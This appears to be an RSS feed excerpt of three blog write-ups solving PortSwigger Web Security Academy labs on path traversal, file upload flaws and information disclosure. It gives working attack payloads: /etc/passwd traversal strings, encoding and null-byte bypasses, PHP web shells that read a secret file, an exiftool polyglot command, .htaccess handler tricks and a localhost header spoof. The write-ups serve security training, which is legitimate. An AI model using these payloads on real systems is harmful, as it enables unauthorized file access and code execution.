        </item>
        <item>
            <title><![CDATA[Path traversal Port Swigger]]></title>
            <link>https://medium.com/@thisisnazrinbayramova/path-traversal-port-swigger-67ffdce47cfd?source=rss-0e55612557aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/67ffdce47cfd</guid>
            <dc:creator><![CDATA[Thisisnazrinbayramova]]></dc:creator>
            <pubDate>Fri, 11 Apr 2025 00:24:28 GMT</pubDate>
            <atom:updated>2025-04-11T00:24:28.192Z</atom:updated>
            <content:encoded><![CDATA[<h3>Path traversal PortSwigger</h3><h3>Lab: File path traversal, simple case</h3><p>To exploit a directory traversal vulnerability, first intercept a file request (like an image load) using Burp Suite. Send this request to the Repeater tool, then modify the filename parameter by adding “../../../../” to navigate to the root directory and access “/etc/passwd”. Each “../” moves up one directory level — keep adding them until the attack succeeds. When the server processes this malformed path without proper validation, it returns the contents of the system’s password file. This works because insecure servers don’t sanitize user-supplied file paths. To prevent this, applications should validate all file paths and restrict access to sensitive system directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I-9r_WzlmMe2AuheQwBc-w.png" /></figure><h3>Lab: File path traversal, traversal sequences blocked with absolute path bypass</h3><p>Submit /etc/passwd as the filename. The server returns the file since it lacks path validation. No traversal (../) needed—this exposes a critical flaw where unrestricted file access lets attackers read system files. Always sanitize inputs and restrict permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0OIYGPtVMvKY2uyhLM_0Vg.png" /></figure><h3>Lab: File path traversal, traversal sequences stripped non-recursively</h3><p><strong>Bypass Method:</strong><br>To bypass the ../ filter, use ....// instead. The server converts it back to ../, enabling traversal.</p><p><strong>Example:</strong><br>Submit ....//....//....//etc/passwd → Server reads ../../../etc/passwd.</p><p><strong>Why It Works:</strong><br>Frontend blocks ../ but misses ....//.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SoAOyK1ejZx3unP70tdzHQ.png" /></figure><h3>Lab: File path traversal, traversal sequences stripped with superfluous URL-decode</h3><p><strong>Steps:</strong></p><ol><li>Replace each “/” with “%252f”</li><li>Submit: filename=..%252f..%252f..%252fetc/passwd</li><li>Server decodes it to ../../../etc/passwd</li></ol><p><strong>Why It Works:</strong></p><ul><li>First decode: %252f → %2f</li><li>Second decode: %2f → /</li><li>Frontend misses the double-encoded pattern</li></ul><p><strong>Security Fix:</strong></p><ul><li>Decode inputs fully before validation</li><li>Block all encoded traversal attempts</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rJ5Xf2Q2sco2zWj77SxMiQ.png" /></figure><h3>Lab: File path traversal, validation of start of path</h3><p>To access /etc/passwd from /var/www/images, use /var/www/images/../../../etc/passwd. Each ../ moves up one directory, escaping to root (/) in three steps. This exposes a path traversal flaw where the server fails to block upward navigation. Always sanitize user-supplied paths to prevent unauthorized file access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W7c4gaZk_yx64ayPYVks-A.png" /></figure><h3>Lab: File path traversal, validation of file extension with null byte bypass</h3><p>To bypass the extension check, use ../../../etc/passwd%00.png. The null byte (%00) tricks the system into ignoring the .png requirement while still accessing /etc/passwd. This works because the null character terminates the filename early, bypassing extension checks. Fix: properly validate filenames and reject null bytes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lND5Ys9_zgMWj39X7yxRXQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=67ffdce47cfd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[File upload vulnerabilities]]></title>
            <link>https://medium.com/@thisisnazrinbayramova/file-upload-vulnerabilities-a7c15cb83a99?source=rss-0e55612557aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/a7c15cb83a99</guid>
            <dc:creator><![CDATA[Thisisnazrinbayramova]]></dc:creator>
            <pubDate>Thu, 10 Apr 2025 23:52:25 GMT</pubDate>
            <atom:updated>2025-04-10T23:52:25.258Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lab: Remote code execution via web shell upload</h3><ol><li><strong>Log in:</strong> wiener:peter</li><li><strong>Upload </strong>shell.php: <em>&lt;?=file_get_contents(‘/home/carlos/secret’)?&gt;</em></li><li><strong>Access it</strong></li><li><strong>Submit the secret</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tbq5VO1M2BZ5DaErD1bnww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RAleTPeabqVs-qj0yMlj-w.png" /></figure><h3>Lab: Web shell upload via Content-Type restriction bypass</h3><h3>Steps to Solve:</h3><ol><li><strong>Login</strong> using provided credentials: wiener:peter</li><li><strong>Find the image upload</strong> functionality in the application</li><li><strong>Prepare a malicious PHP file</strong> named shell.php containing: &lt;?php echo file_get_contents(‘/home/carlos/secret’); ?&gt;</li><li><strong>Upload the file</strong> while intercepting the request with Burp Suite (or similar tool)</li><li><strong>Modify the Content-Type</strong> in the request headers to image/jpeg before forwarding</li><li><strong>Access the uploaded file</strong> by right-clicking the image placeholder and opening in new tab</li><li><strong>Retrieve Carlos’s secret</strong> which will be displayed when the PHP executes</li><li><strong>Submit the secret</strong> to complete the lab</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0u9YY69GjQv09NXVY7SUZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9yEDiGxDPskW_bBwOv0fbg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pXl1wBVv7dRzYlnzcBlZ4g.png" /></figure><h3>Lab: Web shell upload via path traversal</h3><h3>Step-by-Step Solution</h3><h4>1. Log in &amp; Find Upload Feature</h4><ul><li>Log in as wiener:peter → Go to <strong>My Account</strong>.</li></ul><h4>2. Create a PHP File to Steal the Secret</h4><ul><li>Save this as shell.php&lt;?php echo file_get_contents(‘/home/carlos/secret’); ?&gt;</li></ul><h4>3. Upload the File &amp; Bypass Filters</h4><ul><li>Direct upload of shell.php fails (only images allowed).</li><li><strong>Intercept the request</strong> (Burp Suite/Proxy).</li><li><strong>Modify two things</strong>: Change Content-Type: application/x-php → Content-Type: image/jpeg (fakes an image). Edit filename to ..%2fshell.php (URL-encoded / = %2f). This moves the file <strong>up one directory</strong> (to /files/ instead of /files/avatar/).</li></ul><h4>4. Access the File</h4><ul><li><strong>Do NOT use</strong>: /files/avatar/..%2fshell.php (will <strong>404</strong>).</li><li><strong>Correct URL</strong>: <a href="https://0a80001303d5fddf821a39c7001a0074.web-security-academy.net/files/shell.php">https://0a80001303d5fddf821a39c7001a0074.web-security-academy.net/files/shell.php</a></li></ul><h4>5. Get the Secret &amp; Solve the Lab</h4><ul><li>Visit /files/shell.php → The PHP runs, revealing <strong>Carlos&#39;s secret</strong>.</li><li>Submit the secret to complete the lab.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wYaM6BNZpmBH2fGqqD_UCw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N4f94GuBlAaCSK8BENOOWg.png" /></figure><h3>Lab: Web shell upload via extension blacklist bypass</h3><ol><li><strong>Find the Upload Feature</strong></li></ol><ul><li>The app lets users upload avatars (images).</li><li>It blocks .php files to stop hackers.</li></ul><p><strong>2. Try Uploading a Malicious PHP File</strong></p><ul><li>Create exploit.php with: &lt;?php echo file_get_contents(‘/home/carlos/secret’); ?&gt;</li><li>Upload fails → Server blocks .php.</li></ul><p><strong>3. Bypass the Block Using </strong>.htaccess</p><ul><li>Since it’s an <strong>Apache</strong> server, upload a file named .htaccess with: AddType application/x-httpd-php .cybersec</li><li>This makes the server treat .cybersec files as <strong>executable PHP</strong>.</li></ul><p><strong>4. Upload the Exploit Again (Now with </strong>.cybersec<strong>)</strong></p><ul><li>Rename exploit.php → exploit.cybersec.</li><li>Upload succeeds!</li></ul><p><strong>5. Trigger the Exploit</strong></p><ul><li>Access the uploaded file (e.g., by refreshing avatar).</li><li>The server runs the PHP code and <strong>displays the secret</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Y0BpQcPYkQr28dDrZnPUA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3uHlXv6VtkajyYw7an7_OQ.png" /></figure><h3>Lab: Web shell upload via obfuscated file extension</h3><h4>1. Log in as “wiener”</h4><ul><li>Go to <strong>My Account</strong> → There’s an <strong>image upload</strong> feature.</li></ul><h4>2. Create a Malicious PHP File</h4><ul><li>Make a file named <strong>shell.php</strong> with this code: &lt;?php echo file_get_contents(‘/home/carlos/secret’); ?&gt;</li><li>This code <strong>reads and displays</strong> Carlos’ secret file.</li></ul><h4>3. Try Uploading shell.php → Fails!</h4><ul><li>The app <strong>blocks </strong>.php<strong> files</strong> for security.</li></ul><h4>4. Bypass the Block Using a Trick</h4><ul><li>Change the filename to: shell.php%00.jpg</li><li>%00 = Null byte (tricks the server into ignoring .jpg).</li><li>Server sees shell.php (but thinks it’s safe because of .jpg).</li></ul><h4>5. Upload the File (Now It Works!)</h4><ul><li>Use <strong>Burp Suite</strong> to modify the upload request:</li><li>Change filename=&quot;shell.php&quot; → filename=&quot;shell.php%00.jpg&quot;</li><li><strong>Upload succeeds!</strong></li></ul><h4>6. Access the File to Steal the Secret</h4><ul><li>Reload <strong>My Account</strong> → The server tries to load shell.php%00.jpg.</li><li>In <strong>Burp Suite</strong>, find the failed request (404 Not Found).</li><li><strong>Remove </strong>%00.jpg → Access just shell.php.</li></ul><h4>7. Submit the Secret → Lab Solved!</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ZfnE590XdCUt_lAANozgg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VL1kxGUtzln27EWMz9OSbg.png" /></figure><h3>Lab: Remote code execution via polyglot web shell upload</h3><h3>1. Create the Malicious PHP Script</h3><p><strong>Goal</strong>: Make a PHP file that reads /home/carlos/secret.<br><strong>Code</strong>:</p><pre>&lt;?php<br>echo &#39;START &#39; . file_get_contents(&#39;/home/carlos/secret&#39;) . &#39; END&#39;;<br>?&gt;</pre><ul><li><strong>Why?</strong></li><li>file_get_contents() reads files from the server.</li><li>START and END help us locate the secret in the output.</li></ul><h3>2. Turn It Into a Polyglot (Image + PHP)</h3><p><strong>Tool</strong>: exiftool (modifies image metadata).<br><strong>Command</strong>:</p><pre>exiftool -Comment=&quot;&lt;?php echo &#39;START &#39; . file_get_contents(&#39;/home/carlos/secret&#39;) . &#39; END&#39;; ?&gt;&quot; image.png -o shell.php</pre><ul><li><strong>What Happens?</strong></li><li>Injects the PHP code into the image’s Comment field.</li><li>Outputs a new file (shell.php) that looks like an image but runs as PHP.</li></ul><h3>3. Upload the Polyglot File</h3><ul><li>Use the website’s <strong>image upload feature</strong> to upload shell.php.</li><li>The server mistakes it for an image (due to metadata tricks).</li></ul><h3>4. Access the Uploaded File</h3><ul><li>After uploading, find the file’s URL</li><li>Open it in a browser or Burp Repeater.</li><li>The server executes it as PHP, leaking the secret between START and END.</li></ul><h3>5. Extract the Secret</h3><ul><li>START …. END</li><li><strong>Burp Suite</strong>: Check the HTTP response for the same output.</li></ul><p>6. Submit the Secret</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*07tAEb7YXlhDqmVI17ikQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jE2c2l9mN0vokuZ_o3cEVg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oxK_UNRYLihdDnDvZKYdAw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a7c15cb83a99" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Information Disclosure-PortSwigger Labs]]></title>
            <link>https://medium.com/@thisisnazrinbayramova/information-disclosure-portswigger-labs-7720cf62069c?source=rss-0e55612557aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/7720cf62069c</guid>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Thisisnazrinbayramova]]></dc:creator>
            <pubDate>Fri, 04 Apr 2025 07:49:40 GMT</pubDate>
            <atom:updated>2025-04-04T07:49:40.530Z</atom:updated>
            <content:encoded><![CDATA[<p>I’m going to break down PortSwigger’s Information Disclosure labs in the most direct way possible. The goal? Make a website reveal sensitive data we’re not supposed to access — things like hidden files, debug info, or even credentials.</p><p><strong>Key Questions:</strong></p><ol><li><strong>Where do we look?</strong> (Error messages, backups, metadata)</li><li><strong>How do we get it?</strong> (Trigger leaks, exploit misconfigurations)</li></ol><h3><strong>Lab 1 - Information Disclosure in error messages</strong></h3><p><strong>Lab Goal:</strong><br>Find a vulnerable third-party framework version using error messages.</p><p><strong>Lab Solution:</strong></p><ol><li>Visit site, click any product</li><li>Change URL’s <strong>productId=2</strong> to text (like &quot;test&quot;)</li><li>Error reveals vulnerable Apache Struts 2.3.31</li><li>Submit version — lab solved!</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0-5Ne_7nRX4NuQP9Fz1Y2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0AgKGQIVyBZ_meUqfKYjwA.png" /><figcaption>answer is only 2 2.3.31</figcaption></figure><p><strong>Why it works:</strong></p><p>Triggering errors is one of the simplest ways to uncover hidden system information. Without needing any special tools, you can manually test by: entering text where numbers are expected, trying zero or negative values, inputting extremely large integers, or using special characters. These basic techniques often reveal valuable system details that aren’t normally visible.</p><h3>Lab 2 — Information Disclosure on debug page</h3><p><strong>Goal:</strong><br>Find a hidden debug file that exposes the SECRET_KEY through environment variables.</p><h4>Method 1: Using Burp’s Site Map</h4><ol><li><strong>Browse</strong> the lab’s homepage with <strong>Burp Proxy</strong> enabled.</li><li>Go to <strong>Target</strong> &gt; <strong>Site Map</strong> and look for unusual files (<strong>/cgi-bin/phpinfo.php</strong>).</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aLPvQ3z9pdYtH-h9UVA5iA.png" /></figure><p><strong>3. </strong>Send the file to <strong>Repeater</strong> and fetch it. The response will reveal debug data, including the <strong>SECRET_KEY</strong>.</p><h4>Method 2: Inspecting HTML Comments</h4><ol><li>Check the <strong>HTML source</strong> for hidden comments.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*kwIdf-Wji7GLMX3a2tbEOw.png" /></figure><p>2. Access the debug file (/cgi-bin/phpinfo.php) to extract the SECRET_KEY</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8nSaVCN08i7l4qXpkB5P1g.png" /></figure><h3>Lab 3 — Source code disclosure via backup files</h3><blockquote><em>This lab leaks its source code via backup files in a hidden directory. To solve the lab, identify and submit the database password, which is hard-coded in the leaked source code.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QTksXB0kv9jy5cfffyLUcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Of7LVv8vWnfmnLL-cHqbNA.png" /></figure><p>Obtaining source code access makes it much easier for an attacker to understand the application’s behavior and construct high-severity attacks. Sensitive data is sometimes even hard-coded within the source code.</p><h3>Lab 4 — Authentication bypass via information disclosure</h3><blockquote><em>This lab’s administration interface has an authentication bypass vulnerability, but it is impractical to exploit without knowledge of a custom HTTP header used by the front-end. To solve the lab, obtain the header name then use it to bypass the lab’s authentication. Access the admin interface and delete the user carlos. You can log in to your own account using the following credentials: wiener:peter</em></blockquote><p>I entered as wiener. In Burp Repeater, I browsed to GET /admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9OVO6cJvqdal5dhdJ7IbMg.png" /></figure><p>TRACE helps uncover “hidden rules” so you can bypass them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lrh026QisPU9IEii5xn_kw.png" /></figure><p>When I send TRACE /admin, the server <em>echoes back my request</em> with added headers (like X-Custom-IP-Authorization). I need to appear as if I am accessing from localhost.</p><ol><li><strong>Go to</strong> Proxy → Match and Replace</li><li><strong>Add New Rule → Match:</strong> <em>(Leave empty), </em><strong>Type:</strong> Request header,<strong>Replace:</strong> X-Custom-IP-Authorization: 127.0.0.1</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*cfBpfnRnq8nwo3zsr7Zqzw.png" /></figure><p>Now you are admin, you can delete.</p><h3>Lab 5 — Information disclosure in version control history</h3><blockquote><em>This lab discloses sensitive information via its version control history. To solve the lab, obtain the password for the administrator user then log in and delete the user carlos.</em></blockquote><p>I downloaded a copy of ./git entire directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B7kVgDBFflMSyNeU998F2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iG_c3eLnU_brJCtI2d8DZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SAhwxnT4JhdTW338bb2BsQ.png" /></figure><p>There is a commit with the message &quot;Remove admin password from config&quot;.</p><p><strong>Problem:</strong></p><p>A developer tried to fix a security issue in <strong>admin.conf</strong>.</p><p><strong>What They Did:</strong></p><ol><li>Removed the hard-coded password (old way)</li><li>Replaced it with an environment variable <strong>ADMIN_PASSWORD</strong> (new way)</li></ol><p><strong>Mistake They Made:</strong></p><ul><li>The old password <strong>remained visible</strong> in the Git diff (change history)</li><li>Anyone checking the commit can still see the original password</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FSyakF-zQb22ioYYuBZpRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kc4MIENWmfq2c-B5OGvMLg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7720cf62069c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>